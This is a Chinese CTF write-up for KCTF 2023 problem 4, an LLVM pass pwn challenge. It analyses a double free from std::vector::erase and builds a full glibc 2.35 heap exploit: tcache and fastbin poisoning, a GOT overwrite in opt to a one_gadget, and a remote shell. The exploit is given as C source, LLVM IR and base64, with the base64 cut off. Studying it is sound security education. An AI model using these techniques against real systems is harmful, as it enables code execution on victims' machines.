看雪2023 KCTF年度赛 | 第四题设计思路及解析

admin 2024年5月19日02:52:06评论15 views字数 21786阅读72分37秒阅读模式

看雪2023 KCTF年度赛 | 第四题设计思路及解析

这是一场人类与超智能AI的“生死”较量

请立刻集结,搭乘SpaceX,前往AI控制空间站

智慧博弈  谁能问鼎

看雪·2023 KCTF 年度赛于9月1日中午12点正式开赛!比赛基本延续往届模式,设置了难度值、火力值和精致度积分。由此来引导竞赛的难度和趣味度,使其更具挑战性和吸引力,同时也为参赛选手提供了更加公平、有趣的竞赛平台。

*注意:签到题持续开放,整个比赛期间均可提交答案获得积分

今天中午12:00第四题《AI控制空间站》已截止答题,该题持续了4天,全程无一人攻破此题。看来此题难度颇高那么一起来看下该题的设计思路和解析吧。

出题团队简介

出题战队:SU Team

战队成员:winmt、Helenccz、予柒、imlk、bj777

看雪2023 KCTF年度赛 | 第四题设计思路及解析
设计思路

题目概述

本题是一道LLVM PASS PWN的题目,重点考察了C++ STL中本身存在的一个漏洞,可导致double free的产生。结合glibc堆以及LLVMopt中的相关特性可完成漏洞的利用,最终在不同的内核环境中寻找一条共同的劫持链,可拿到稳定的远程shell
附件中的漏洞模块VecPass.so文件并没有去符号表,本着想让各位师傅集中精力在漏洞的发掘和利用上的意图,希望各位师傅能够玩得开心。
LLVM PASS PWN的基础以及调试方法等内容可参考笔者之前写的文章:https://bbs.kanxue.com/thread-274259.htm

逆向分析

在本题所给的附件中,optLLVM的优化器和分析器,其版本是Ubuntu LLVM version 14.0.0libc对应的版本是Ubuntu GLIBC 2.35-0ubuntu3.1。而漏洞存在于自定义的LLVM PASS模块VecPass.so中,故我们需要对其进行逆向分析。

寻找PASS注册名

_cxx_global_var_init_10中,可以找到这个自定义LLVM PASS模块的PASS注册名为winmt,以及一个彩蛋(笑。
看雪2023 KCTF年度赛 | 第四题设计思路及解析
因此,需要使用opt -load ./VecPass.so -winmt ./exp.ll -enable-new-pm=0 -f命令加载模块并启动LLVM的优化分析(注意新版需要加-enable-new-pm=0,至于-f选项也可以不加,不影响后续利用)。

定位runOnFunction函数

定位到vtable虚表,即可找到重写的runOnFunction函数:
看雪2023 KCTF年度赛 | 第四题设计思路及解析

runOnFunction函数分析

runOnFunction函数中,先关闭了标准报错,然后将numnm两个变量清零。接着,获取了当前处理的函数名,并将其全部转为大写字母,只有结果为KCTF才能进行后续操作。简单来说,就是只处理函数名的大写为KCTF的所有函数
看雪2023 KCTF年度赛 | 第四题设计思路及解析
满足了上述要求后,设置标记变量sign0,并调用run函数进一步对当前函数中的指令进行解析操作。只有当run函数的返回值为1的时候,才会跳出while循环,代表对该函数的处理结束。
看雪2023 KCTF年度赛 | 第四题设计思路及解析

run函数的预处理

这里我对几个局部变量重命名了,index代表vector中的编号,del_times代表删除的次数,total_times代表之后的createdelete总操作次数,初始的时候index-1del_times0total_times0。然后会实例化15ChunkInfo类的对象,并依次push_back放入C++ STL Vector中。
看雪2023 KCTF年度赛 | 第四题设计思路及解析
再往下看,可以看到仅当命令的操作符编号为56号,即Call操作符的时候(从/usr/include/llvm-xx/llvm/IR/Instruction.def中可查到),才会跳出循环进一步解析处理。
看雪2023 KCTF年度赛 | 第四题设计思路及解析
接着就是对于Call操作符调用的不同函数及参数做不同的解析处理了。

恢复ChunkInfo类

结合下面的create等操作,很容易恢复出ChunkInfo的成员变量如下:
看雪2023 KCTF年度赛 | 第四题设计思路及解析
其中,size是堆块大小,buf指向申请分配的堆块区域。
ChunkInfo类的构造函数ChunkInfo::ChunkInfo()如下,初始化清零操作:
看雪2023 KCTF年度赛 | 第四题设计思路及解析
ChunkInfo类的析构函数ChunkInfo::~ChunkInfo如下,对堆块进行释放:
看雪2023 KCTF年度赛 | 第四题设计思路及解析
这里的析构函数虽然很常规,但是很重要,是漏洞出现的关键,后文会具体分析。

create操作

若调用的是create函数,则需要有两个参数(这里getNumOperands的值需要为3是因为算上了被调用者)。然后,当前total_times(创建和删除总操作次数)不得超过15。此外,还需要indexdel_times的和小于14,即仍存在的和已删除的vector中元素的数量和,确保vector不溢出。
先通过llvm::isa<llvm::ConstantInt,llvm::Value *>判断参数是否为常数,再用getArgOperand(xxx, 0)getZExtValue获取create函数的第一个参数值,即堆块可用区域的大小,范围是[0x10, 0x100)
然后,根据第一个参数的堆块大小值申请相应的堆块,存放入vector中的下一个未使用对象的buf指针中。
看雪2023 KCTF年度赛 | 第四题设计思路及解析
create函数的第二个参数可以是0/1/2,若为0则不进行任何操作,若为1则将申请的堆块(buf指针指向的地址)中的前八个字节给全局变量num,若为2则相反地将num的值赋给堆块的前八个字节。
看雪2023 KCTF年度赛 | 第四题设计思路及解析

remake操作

remake操作受标记变量sign控制,每个KCTF函数只能调用一次remake函数可以有三个参数,其中第一个参数代表着vector中需要重置的对象编号,后面两个参数和create操作相同。
看雪2023 KCTF年度赛 | 第四题设计思路及解析

delete操作

delete函数仅有一个参数,代表着需要删除的vector中的对象编号。此外,当前total_times(创建和删除总操作次数)不得超过15次才能执行delete操作
循环vector的迭代器,找到对应编号的vector元素,先将此对象中的sizebuf变量清空,再用erase直接对这个vector元素进行删除处理
看雪2023 KCTF年度赛 | 第四题设计思路及解析
最后,index编号减一,del_times删除次数加一。

加减运算操作

加减运算addsub操作都只有一个参数,代表全局变量num所需加减的值。
看雪2023 KCTF年度赛 | 第四题设计思路及解析

位运算操作

位运算操作有and/or/xor三种,在做位运算操作前都需要num只取后四个字节。根据传入的单一参数值,位运算分为两种:将全局变量numnm进行相应位运算操作和与传入的参数值进行位运算操作。
看雪2023 KCTF年度赛 | 第四题设计思路及解析

swap操作

swap操作无参数,但受全局变量used控制,整个程序执行过程中只能调用一次
swap操作会将全局变量numnm的值相互交换。
看雪2023 KCTF年度赛 | 第四题设计思路及解析

end操作

end操作无参数,会返回1,使得跳出runOnFunction中的while循环,表示该KCTF函数处理完成。
看雪2023 KCTF年度赛 | 第四题设计思路及解析
此外,若是其他未定义操作,则返回0,并将instIter往后移动一位,再次重新调用run函数,接着当前指令之后继续解析处理。

C++ STL 中的一个漏洞

根据上述逆向分析的过程,本题乍一看没有明显的漏洞,但是注意其中使用了C++ STLvector容器。在delete操作中,在对某个对象删除的时候会将对应的vector元素用erase直接删除掉。

源码分析

我们来看C++ STLvector容器的erase操作删除单个元素时的源码:
  1. iterator erase(iterator position)
    {
    if (position + 1 != end())
    copy(position + 1, finish, position);
    --finish;
    destroy(finish);
    return position;
    }
其中,copy(first, last, result)函数会将区间[first, last)内的元素复制到[result, result+(last-first))区间内。然后将finish位置往前移动一位。
需要特别注意的是此处的destroy(finish)语句,destroy函数会将对应指针所指的元素析构掉。因此,此处执行的析构函数是当前vector中最后一个元素的,而并非被删除的元素的!
例如,原本vector中存在五个元素1 2 3 4 5,现在删除3号元素,那么此时vector中的元素变为1 2 4 5 (5)size变为4,但是最后一个5号元素的空间仍存在。然后将会调用现有的1 2 4 5中最后的5号元素的析构函数。

漏洞分析

这里的写法是非常奇怪的,按照本题的析构函数,对vector中最后一个元素析构,其中的堆块会被释放掉,然而vector中最后一个元素仍保留在容器中,当vector容器被销毁时,会从左到右依次执行每个元素的析构函数,此时最后一个元素的堆块会被释放两次,就可能造成double free,笔者认为这是C++ STL中残留的一个漏洞。
本题中vectorrun函数中局部定义的,run函数返回时会销毁。首先先初始化了15个对象,其中buf指向NULL,依次压入了vector中。若是没有用create操作将vector填满,即使erase删除,析构的最后一个元素中对象的buf指针是NULL,并不会造成double free。因此,我们需要先将15vector中对象的堆块指针分配填满,这样就可以构造出double free了。

漏洞利用

构造double free

由于本题的环境是libc-2.35tcache chunk中会有key字段来标记该堆块是否已经存在于tcache list中。因此,我们不能直接在tcache listdouble free,而fastbin中只会检测相邻的两个堆块是否一样,可用A->B->A的方式绕过,故可采用fastbin reverse into tcache的方式。简单来说,就是由于stashing机制,当tcache list中有空余位置的时候,若申请到fastbin中的堆块,则会将fastbin中之后的堆块甩入tcache list至满。因此,如果此时tcache list全被取出为空,fastbin中堆块是A->B->A,那么申请出A堆块,并在next指针写入target_addr,那么之后tcache list中将有三个元素B->A->target_addr,继而可申请出target_addr任意地址写。
对于本题来说,createdelete操作一共最多只有16次机会,而根据上文分析,我们需要将create填满,这需要15次操作,那么最后只能delete操作1次。然而,可以注意到vector是定义在run函数中的局部容器,在run函数返回后,vector容器会被销毁,届时将会从左至右依次执行其中每个对象的析构函数,即堆块会被依次释放。不难想到,可以先通过erase释放最后一个元素的堆块,再通过每个KCTF函数唯一一次的remake操作机会将其申请回来,这样vector中就会有两个相同的堆块,并使其前面有七个同样大小的堆块,两个相同的堆块之间间隔一个堆块。最后,在vector容器销毁的时候,tcache list将被填满,fastbin中也会出现double free的相同堆块。
此部分的参考构造方式如下:
  1. create(0x50, 0); // 0
    create(0x50, 0); // 1
    create(0x50, 0); // 2
    create(0x50, 0); // 3
    create(0x50, 0); // 4
    create(0x50, 0); // 5
    create(0x50, 0); // 6

    create(0x10, 0); // 7
    create(0x10, 0); // 8
    create(0x10, 0); // 9
    create(0x10, 0); // 10
    create(0x10, 0); // 11
    create(0x10, 0); // 12

    create(0x50, 0); // 13
    create(0x50, 0); // 14
    delete(8);
    remake(11, 0x50, 0);
    ret();
需要注意的是,这里最后调用的是一个未定义函数ret(),而并未用end(),这是因为若是end()则会重新调用runOnFunction到下一个大写后是KCTF的函数,这个过程中涉及到了大堆块分配与释放的操作,会产生malloc_consolidate使fastbin中的堆块合并或下放,而此时fastbin list中存在double free的非法情况,会造成报错处理。因此,我们使用未定义函数ret(),使得接下来重新调用run()函数继续对该函数中的指令解析处理。

劫持opt中的got表

在有了double free可任意地址写以后,加上create的第二个参数,我们可以实现对堆块读取或写入数值,从而进行劫持。这里的劫持是需要修改tcachenext指针,由于glibc 2.35存在safe-linking机制,需要修改的值与tcache堆块地址右移12位得到的key相异或写入。这里的key只需要读取tcache list末尾chunknext指针(与0异或)即可得到。异或操作的运算也是有的,不过在进行位运算之前会将存储的数值num只取后四个字节,这就意味着我们不能劫持到如类似libc这样的长地址
由于我们的模块VecPass.so是由opt加载的,opt是没有地址随机化PIE保护的,且got表也是可写的。故可以对optgot表进行劫持,这是一个短地址,在四字节以内,满足要求。
看雪2023 KCTF年度赛 | 第四题设计思路及解析
那该劫持opt的哪一个got表呢?显然是得劫持runOnFunction函数全部处理结束后走到的plt表对应的got表。那么我们也就需要找到调用runOnFunction函数的最上层入口。
根据调试的栈回溯信息,很容易找到runOnFunction函数的最上层入口是位于0x434686位置的call llvm::legacy::PassManager::run(llvm::Module&)@plt
看雪2023 KCTF年度赛 | 第四题设计思路及解析
我们ni跳过后,后面所调用的plt表对应的got表都是可以劫持的,结合one_gadget的相关条件,很遗憾对所有可劫持的got表都没有直接能满足条件的one_gadget。不过,我们可以再进行一次任意地址的劫持,使得one_gadget满足条件,具体操作在下一节说明。
此处,笔者劫持的是llvm::Module::~Module()@plt对应的got表(地址为0x4476A0),并将其改为位于libc基地址偏移0xebdb3处的one_gadget(具体的劫持方法不唯一,但思路都应该一致)。
看雪2023 KCTF年度赛 | 第四题设计思路及解析
看雪2023 KCTF年度赛 | 第四题设计思路及解析
参考的劫持思路如下:
  1. create(0x50, 0); // 0
    create(0x50, 0); // 1
    create(0x50, 0); // 2
    create(0x50, 0); // 3
    create(0x50, 0); // 4
    create(0x50, 0); // 5
    create(0x50, 1); // 6
    xor(0x4476A0);
    create(0x50, 2); // 7
    delete(7);
    create(0x60, 1); // 7
    sub(0x219ce0);
    create(0x50, 0); // 8
    create(0x50, 0); // 9
    add(0xebdb3);
    create(0x50, 2); // 10
    delete(10);
    end();
此处通过create(0x60, 1)unsorted bin中分割出堆块,获得libc地址。需要说明的是其中的两次delete操作:第一个delete(7)是因为此时的7号堆块是double free的堆块,与之后的9号堆块相同,若这里不删除,又会造成二次double free,最后end()返回后就会出现报错,具体原因上文已经说明了;第二个delete(10)是因为此时10号堆块中存放的是非法堆块地址,若不删除的话,之后vector销毁后析构的时候会报错,而此处用erase删除并不会触发此堆块对应的析构函数,并且之前已经将buf指针清空,不会出问题。

二次劫持

按照笔者的做法,目前对llvm::Module::~Module()@got.plt劫持后的执行情况如下:
  1. 0x4168e0 <llvm::Module::~Module()@plt> jmp qword ptr [rip + 0x30dba] <execvpe+1331>

    0x7ffff0eebdb3 <execvpe+1331> lea r10, [rbp - 0x50]
    0x7ffff0eebdb7 <execvpe+1335> mov qword ptr [rbp - 0x50], rax
    0x7ffff0eebdbb <execvpe+1339> jmp execvpe+1129 <execvpe+1129>

    0x7ffff0eebce9 <execvpe+1129> mov qword ptr [r10 + 0x10], 0
    0x7ffff0eebcf1 <execvpe+1137> mov rdx, qword ptr [rbp - 0x70]
    0x7ffff0eebcf5 <execvpe+1141> mov rsi, r10
    0x7ffff0eebcf8 <execvpe+1144> lea rdi, [rip + 0xec999]
    0x7ffff0eebcff <execvpe+1151> mov qword ptr [rbp - 0x78], r9
    0x7ffff0eebd03 <execvpe+1155> call execve <execve>
此时,由于rax=0,是满足[rbp-0x50] == NULL的条件的,但并不满足[[rbp-0x70]] == NULL || [rbp-0x70] == NULL的条件。不过,调试可知,此时[rbp-0x70]中存放的是一个堆块地址,并且opt执行的时候堆区地址比较特殊,只有三个字节,故我们是可以劫持到这个堆块地址(后文称为目标堆地址)并将其中的值改为0
看雪2023 KCTF年度赛 | 第四题设计思路及解析
二次劫持的构造double free的部分和上文一致,只需要换个堆块大小就行了,这里也就不再赘述了。由于目标堆地址是未知的,我们需要先从tcache/fastbin中读取出一个异或加密后的堆地址并用key异或还原(或者是从smallbin中直接读取),再通过得到的堆地址加减偏移得到目标堆地址,然后再用key异或后写入double free的堆块的fd/next指针中。由上述过程可知,我们需要先将safe-linking异或加解密用的key通过swap操作机会存到全局变量nm中,且由于只有一次swap的机会,如果需要有解密过程,加密过程和解密过程使用的key最好是同一个或者是只有最后一位不同(解密的时候可用and将最后一位置零)。

寻找稳定的劫持链

我们需要获得某个堆块地址,再加减上相应的偏移得到目标堆地址。这里看似堆块地址的选取是比较自由的,其实不然。通过实际测试,表明opt程序在加载LLVM PASS模块运行的过程中受内核环境的影响较大,同样的操作在不同内核环境下的堆栈布局是有差别的。因此,在A内核环境下计算的某堆块地址与目标堆块地址的偏移与B内核环境下极有可能是不同的。
由于docker和主机是共享内核的,我们并不知道远程环境的内核版本是多少,因此我们需要在本地搭建两个不同的内核环境(最好版本相差较大),并寻找到一条共同的劫持链,这条劫持链大概率就是稳定的
根据笔者的尝试,找到了如下的一条稳定可行的劫持链:
  1. create(0x70, 0); // 0
    create(0x70, 0); // 1
    create(0x70, 0); // 2
    create(0x70, 0); // 3
    create(0x70, 0); // 4
    create(0x70, 0); // 5
    create(0x70, 0); // 6
    create(0x60, 1); // 7
    swap();
    create(0x50, 1); // 8
    xor(0);
    add(0x10eb0);
    xor(0);
    create(0x70, 2); // 9
    delete(9);
    create(0x70, 0); // 9
    create(0x70, 0); // 10
    and(0);
    create(0x70, 2); // 11
    delete(11);
    end();
此时的堆块布局如下:
看雪2023 KCTF年度赛 | 第四题设计思路及解析
先申请出0x70tcache,得到key0x4f3,再申请出0x60的堆块,通过异或解密出其next指针的堆地址为0x4f32f0,由于笔者是直接用gdb调试的,没有aslr,由上文截图中可知目标堆块的地址为0x5041a0,相差的偏移为0x10eb0,最后再将得到的目标堆块地址通过同样的key异或加密后写入fastbindouble free0x4f3670fd/next指针,最终由fastbin reverse into tcache即可完成二次劫持,将目标堆块置零,满足one_gadget的条件。
上述劫持链在笔者测试的不同内核环境中均是稳定的。

exp

参考的完整exp脚本如下:
  1. void create(unsigned int size, unsigned int choice);
    void remake(unsigned int index, unsigned int size, unsigned int choice);
    void delete(unsigned int index);
    void add(unsigned int val);
    void sub(unsigned int val);
    void and(unsigned int val);
    void or(unsigned int val);
    void xor(unsigned int val);
    void swap();
    void ret();
    void end();

    void KCTF()
    {
    create(0x50, 0); // 0
    create(0x50, 0); // 1
    create(0x50, 0); // 2
    create(0x50, 0); // 3
    create(0x50, 0); // 4
    create(0x50, 0); // 5
    create(0x50, 0); // 6

    create(0x10, 0); // 7
    create(0x10, 0); // 8
    create(0x10, 0); // 9
    create(0x10, 0); // 10
    create(0x10, 0); // 11
    create(0x10, 0); // 12

    create(0x50, 0); // 13
    create(0x50, 0); // 14
    delete(8);
    remake(11, 0x50, 0);
    ret();

    create(0x50, 0); // 0
    create(0x50, 0); // 1
    create(0x50, 0); // 2
    create(0x50, 0); // 3
    create(0x50, 0); // 4
    create(0x50, 0); // 5
    create(0x50, 1); // 6
    xor(0x4476A0);
    create(0x50, 2); // 7
    delete(7);
    create(0x60, 1); // 7
    sub(0x219ce0);
    create(0x50, 0); // 8
    create(0x50, 0); // 9
    add(0xebdb3);
    create(0x50, 2); // 10
    delete(10);
    end();
    }

    void kctf()
    {
    create(0x70, 0); // 0
    create(0x70, 0); // 1
    create(0x70, 0); // 2
    create(0x70, 0); // 3
    create(0x70, 0); // 4
    create(0x70, 0); // 5
    create(0x70, 0); // 6

    create(0x10, 0); // 7
    create(0x10, 0); // 8
    create(0x10, 0); // 9
    create(0x10, 0); // 10
    create(0x10, 0); // 11
    create(0x10, 0); // 12

    create(0x70, 0); // 13
    create(0x70, 0); // 14
    delete(8);
    remake(11, 0x70, 0);
    ret();

    create(0x70, 0); // 0
    create(0x70, 0); // 1
    create(0x70, 0); // 2
    create(0x70, 0); // 3
    create(0x70, 0); // 4
    create(0x70, 0); // 5
    create(0x70, 0); // 6
    create(0x60, 1); // 7
    swap();
    create(0x50, 1); // 8
    xor(0);
    add(0x10eb0);
    xor(0);
    create(0x70, 2); // 9
    delete(9);
    create(0x70, 0); // 9
    create(0x70, 0); // 10
    and(0);
    create(0x70, 2); // 11
    delete(11);
    end();
    }
通过clang -emit-llvm -S exp.c -o exp.ll命令编译得到的exp.ll如下:
  1. ; ModuleID = 'exp.c'
    source_filename = "exp.c"
    target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
    target triple = "x86_64-pc-linux-gnu"

    ; Function Attrs: noinline nounwind optnone uwtable
    define dso_local void @KCTF() #0 {
    call void @create(i32 noundef 80, i32 noundef 0)
    call void @create(i32 noundef 80, i32 noundef 0)
    call void @create(i32 noundef 80, i32 noundef 0)
    call void @create(i32 noundef 80, i32 noundef 0)
    call void @create(i32 noundef 80, i32 noundef 0)
    call void @create(i32 noundef 80, i32 noundef 0)
    call void @create(i32 noundef 80, i32 noundef 0)
    call void @create(i32 noundef 16, i32 noundef 0)
    call void @create(i32 noundef 16, i32 noundef 0)
    call void @create(i32 noundef 16, i32 noundef 0)
    call void @create(i32 noundef 16, i32 noundef 0)
    call void @create(i32 noundef 16, i32 noundef 0)
    call void @create(i32 noundef 16, i32 noundef 0)
    call void @create(i32 noundef 80, i32 noundef 0)
    call void @create(i32 noundef 80, i32 noundef 0)
    call void @delete(i32 noundef 8)
    call void @remake(i32 noundef 11, i32 noundef 80, i32 noundef 0)
    call void (...) @ret()
    call void @create(i32 noundef 80, i32 noundef 0)
    call void @create(i32 noundef 80, i32 noundef 0)
    call void @create(i32 noundef 80, i32 noundef 0)
    call void @create(i32 noundef 80, i32 noundef 0)
    call void @create(i32 noundef 80, i32 noundef 0)
    call void @create(i32 noundef 80, i32 noundef 0)
    call void @create(i32 noundef 80, i32 noundef 1)
    call void @xor(i32 noundef 4486816)
    call void @create(i32 noundef 80, i32 noundef 2)
    call void @delete(i32 noundef 7)
    call void @create(i32 noundef 96, i32 noundef 1)
    call void @sub(i32 noundef 2202848)
    call void @create(i32 noundef 80, i32 noundef 0)
    call void @create(i32 noundef 80, i32 noundef 0)
    call void @add(i32 noundef 966067)
    call void @create(i32 noundef 80, i32 noundef 2)
    call void @delete(i32 noundef 10)
    call void (...) @end()
    ret void
    }

    declare void @create(i32 noundef, i32 noundef) #1

    declare void @delete(i32 noundef) #1

    declare void @remake(i32 noundef, i32 noundef, i32 noundef) #1

    declare void @ret(...) #1

    declare void @xor(i32 noundef) #1

    declare void @sub(i32 noundef) #1

    declare void @add(i32 noundef) #1

    declare void @end(...) #1

    ; Function Attrs: noinline nounwind optnone uwtable
    define dso_local void @kctf() #0 {
    call void @create(i32 noundef 112, i32 noundef 0)
    call void @create(i32 noundef 112, i32 noundef 0)
    call void @create(i32 noundef 112, i32 noundef 0)
    call void @create(i32 noundef 112, i32 noundef 0)
    call void @create(i32 noundef 112, i32 noundef 0)
    call void @create(i32 noundef 112, i32 noundef 0)
    call void @create(i32 noundef 112, i32 noundef 0)
    call void @create(i32 noundef 16, i32 noundef 0)
    call void @create(i32 noundef 16, i32 noundef 0)
    call void @create(i32 noundef 16, i32 noundef 0)
    call void @create(i32 noundef 16, i32 noundef 0)
    call void @create(i32 noundef 16, i32 noundef 0)
    call void @create(i32 noundef 16, i32 noundef 0)
    call void @create(i32 noundef 112, i32 noundef 0)
    call void @create(i32 noundef 112, i32 noundef 0)
    call void @delete(i32 noundef 8)
    call void @remake(i32 noundef 11, i32 noundef 112, i32 noundef 0)
    call void (...) @ret()
    call void @create(i32 noundef 112, i32 noundef 0)
    call void @create(i32 noundef 112, i32 noundef 0)
    call void @create(i32 noundef 112, i32 noundef 0)
    call void @create(i32 noundef 112, i32 noundef 0)
    call void @create(i32 noundef 112, i32 noundef 0)
    call void @create(i32 noundef 112, i32 noundef 0)
    call void @create(i32 noundef 112, i32 noundef 0)
    call void @create(i32 noundef 96, i32 noundef 1)
    call void (...) @swap()
    call void @create(i32 noundef 80, i32 noundef 1)
    call void @xor(i32 noundef 0)
    call void @add(i32 noundef 69296)
    call void @xor(i32 noundef 0)
    call void @create(i32 noundef 112, i32 noundef 2)
    call void @delete(i32 noundef 9)
    call void @create(i32 noundef 112, i32 noundef 0)
    call void @create(i32 noundef 112, i32 noundef 0)
    call void @and(i32 noundef 0)
    call void @create(i32 noundef 112, i32 noundef 2)
    call void @delete(i32 noundef 11)
    call void (...) @end()
    ret void
    }

    declare void @swap(...) #1

    declare void @and(i32 noundef) #1

    attributes #0 = { noinline nounwind optnone uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
    attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }

    !llvm.module.flags = !{!0, !1, !2, !3, !4}
    !llvm.ident = !{!5}

    !0 = !{i32 1, !"wchar_size", i32 4}
    !1 = !{i32 7, !"PIC Level", i32 2}
    !2 = !{i32 7, !"PIE Level", i32 2}
    !3 = !{i32 7, !"uwtable", i32 1}
    !4 = !{i32 7, !"frame-pointer", i32 2}
    !5 = !{!"Ubuntu clang version 14.0.0-1ubuntu1"}
将上面的exp.ll使用base64编码后发送给远程server(最后以单独一行END结尾):
  1. Please enter the base64 encrypted exp.ll file (end with "END" in a separate line) :
    OyBNb2R1bGVJRCA9ICdleHAuYycKc291cmNlX2ZpbGVuYW1lID0gImV4cC5jIgp0YXJnZXQgZGF0
    YWxheW91dCA9ICJlLW06ZS1wMjcwOjMyOjMyLXAyNzE6MzI6MzItcDI3Mjo2NDo2NC1pNjQ6NjQt
    ZjgwOjEyOC1uODoxNjozMjo2NC1TMTI4Igp0YXJnZXQgdHJpcGxlID0gIng4Nl82NC1wYy1saW51
    eC1nbnUiCgo7IEZ1bmN0aW9uIEF0dHJzOiBub2lubGluZSBub3Vud2luZCBvcHRub25lIHV3dGFi
    bGUKZGVmaW5lIGRzb19sb2NhbCB2b2lkIEBLQ1RGKCkgIzAgewogIGNhbGwgdm9pZCBAY3JlYXRl
    KGkzMiBub3VuZGVmIDgwLCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBu
    b3VuZGVmIDgwLCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVm
    IDgwLCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDgwLCBp
    MzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDgwLCBpMzIgbm91
    bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDgwLCBpMzIgbm91bmRlZiAw
    KQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDgwLCBpMzIgbm91bmRlZiAwKQogIGNh
    bGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDE2LCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9p
    ZCBAY3JlYXRlKGkzMiBub3VuZGVmIDE2LCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3Jl
    YXRlKGkzMiBub3VuZGVmIDE2LCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkz
    MiBub3VuZGVmIDE2LCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3Vu
    ZGVmIDE2LCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDE2
    LCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDgwLCBpMzIg
    bm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDgwLCBpMzIgbm91bmRl
    ZiAwKQogIGNhbGwgdm9pZCBAZGVsZXRlKGkzMiBub3VuZGVmIDgpCiAgY2FsbCB2b2lkIEByZW1h
    a2UoaTMyIG5vdW5kZWYgMTEsIGkzMiBub3VuZGVmIDgwLCBpMzIgbm91bmRlZiAwKQogIGNhbGwg
    dm9pZCAoLi4uKSBAcmV0KCkKICBjYWxsIHZvaWQgQGNyZWF0ZShpMzIgbm91bmRlZiA4MCwgaTMy
    IG5vdW5kZWYgMCkKICBjYWxsIHZvaWQgQGNyZWF0ZShpMzIgbm91bmRlZiA4MCwgaTMyIG5vdW5k
    ZWYgMCkKICBjYWxsIHZvaWQgQGNyZWF0ZShpMzIgbm91bmRlZiA4MCwgaTMyIG5vdW5kZWYgMCkK
    ICBjYWxsIHZvaWQgQGNyZWF0ZShpMzIgbm91bmRlZiA4MCwgaTMyIG5vdW5kZWYgMCkKICBjYWxs
    IHZvaWQgQGNyZWF0ZShpMzIgbm91bmRlZiA4MCwgaTMyIG5vdW5kZWYgMCkKICBjYWxsIHZvaWQg
    QGNyZWF0ZShpMzIgbm91bmRlZiA4MCwgaTMyIG5vdW5kZWYgMCkKICBjYWxsIHZvaWQgQGNyZWF0
    ZShpMzIgbm91bmRlZiA4MCwgaTMyIG5vdW5kZWYgMSkKICBjYWxsIHZvaWQgQHhvcihpMzIgbm91
    bmRlZiA0NDg2ODE2KQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDgwLCBpMzIgbm91
    bmRlZiAyKQogIGNhbGwgdm9pZCBAZGVsZXRlKGkzMiBub3VuZGVmIDcpCiAgY2FsbCB2b2lkIEBj
    cmVhdGUoaTMyIG5vdW5kZWYgOTYsIGkzMiBub3VuZGVmIDEpCiAgY2FsbCB2b2lkIEBzdWIoaTMy
    IG5vdW5kZWYgMjIwMjg0OCkKICBjYWxsIHZvaWQgQGNyZWF0ZShpMzIgbm91bmRlZiA4MCwgaTMy
    IG5vdW5kZWYgMCkKICBjYWxsIHZvaWQgQGNyZWF0ZShpMzIgbm91bmRlZiA4MCwgaTMyIG5vdW5k
    ZWYgMCkKICBjYWxsIHZvaWQgQGFkZChpMzIgbm91bmRlZiA5NjYwNjcpCiAgY2FsbCB2b2lkIEBj
    cmVhdGUoaTMyIG5vdW5kZWYgODAsIGkzMiBub3VuZGVmIDIpCiAgY2FsbCB2b2lkIEBkZWxldGUo
    aTMyIG5vdW5kZWYgMTApCiAgY2FsbCB2b2lkICguLi4pIEBlbmQoKQogIHJldCB2b2lkCn0KCmRl
    Y2xhcmUgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmLCBpMzIgbm91bmRlZikgIzEKCmRlY2xhcmUg
    dm9pZCBAZGVsZXRlKGkzMiBub3VuZGVmKSAjMQoKZGVjbGFyZSB2b2lkIEByZW1ha2UoaTMyIG5v
    dW5kZWYsIGkzMiBub3VuZGVmLCBpMzIgbm91bmRlZikgIzEKCmRlY2xhcmUgdm9pZCBAcmV0KC4u
    LikgIzEKCmRlY2xhcmUgdm9pZCBAeG9yKGkzMiBub3VuZGVmKSAjMQoKZGVjbGFyZSB2b2lkIEBz
    dWIoaTMyIG5vdW5kZWYpICMxCgpkZWNsYXJlIHZvaWQgQGFkZChpMzIgbm91bmRlZikgIzEKCmRl
    Y2xhcmUgdm9pZCBAZW5kKC4uLikgIzEKCjsgRnVuY3Rpb24gQXR0cnM6IG5vaW5saW5lIG5vdW53
    aW5kIG9wdG5vbmUgdXd0YWJsZQpkZWZpbmUgZHNvX2xvY2FsIHZvaWQgQGtjdGYoKSAjMCB7CiAg
    Y2FsbCB2b2lkIEBjcmVhdGUoaTMyIG5vdW5kZWYgMTEyLCBpMzIgbm91bmRlZiAwKQogIGNhbGwg
    dm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDExMiwgaTMyIG5vdW5kZWYgMCkKICBjYWxsIHZvaWQg
